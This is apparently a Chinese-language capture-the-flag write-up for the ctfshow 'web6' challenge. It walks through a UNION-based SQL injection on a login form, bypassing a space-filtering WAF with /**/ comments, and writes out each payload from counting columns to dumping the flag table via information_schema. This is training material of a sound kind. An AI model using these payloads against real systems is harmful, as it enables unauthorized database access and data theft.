web6
2025年6月12日大约 2 分钟

分析一下
1. 老样子,上bp扫描

存在sql漏洞 尝试使用SQLmap注入失败,推测有waf

- 使用
/**/代替空格

- 开始注入
1. 判断字段数
username=123'/**/or/**/1=1/**/order/**/by/**/4/**//**/#&password=123依次增加数值,判断字段数,增加到4后,返回不是 欢迎你,ctfshow 确认字段数为3
2. 判断回显位置
username=123'/**/or/**/1=1/**/union/**/select/**/1,2,3/**/#&password=123
union select 1,2,3: 在上一步确定了有3个字段后,使用UNION SELECT来合并一个自己构造的查询结果。1,2,3: 这里的数字没有特殊含义,只是为了占位。- 目的: 查看页面上哪个位置显示了数字
1,2, 或3。如果页面上显示了 "2",就知道第二个字段的内容会显示在网页上(这个位置就是“回显位”)。
3. 获取表名
username=123'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/#&password=123
from information_schema.tables:information_schema是MySQL中一个特殊的数据库,它存储了关于所有其他数据库的元数据(比如数据库名、表名、列名等)。where table_schema=database():database()是一个返回当前网站使用的数据库名称的函数。这句代码的作用是限定只查询当前数据库中的表。group_concat(table_name):group_concat()函数会将查询到的所有table_name(表名) 连接成一个字符串。select 1,group_concat(table_name),3: 将group_concat(table_name)放在了上一步确定的回显位(这里假设是第2位),这样页面上就会显示出当前数据库中所有表的名字。
4. 获取列名
username=123'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'/**/#&password=123
from information_schema.columns: 从存储列信息的columns表中查询。where table_name='flag': 从上一步获取的表名中,发现了一个可能存有敏感信息(比如flag)的表,名为flag。这句代码就是指定只查询flag这个表。group_concat(column_name): 将flag表中所有的列名连接成一个字符串。
5. 获取数据 (拿flag)
username=123'/**/or/**/1=1/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag/**/#&password=123
from flag: 直接从flag表中查询数据。